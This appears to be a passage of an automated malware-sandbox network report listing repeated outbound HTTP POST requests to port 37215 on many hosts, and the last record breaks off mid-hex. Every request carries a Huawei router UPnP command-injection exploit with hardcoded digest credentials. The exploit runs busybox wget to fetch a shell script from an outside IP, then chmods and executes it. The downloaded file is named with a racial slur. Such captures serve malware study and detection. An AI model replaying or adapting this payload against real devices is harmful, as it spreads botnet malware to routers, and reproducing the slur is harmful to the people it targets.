Feb 19, 2024 18:36:09.989495039 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	32974	94.120.146.97	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:09.990269899 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	54600	94.122.197.238	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:09.990654945 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	40582	94.121.213.103	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:09.992109060 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	48318	94.122.69.170	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:09.992558956 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	35452	94.123.4.138	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:09.997366905 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	35892	94.123.128.76	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:09.999862909 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	36946	94.123.249.4	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:10.002969027 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	50088	94.121.72.182	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:10.211818933 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 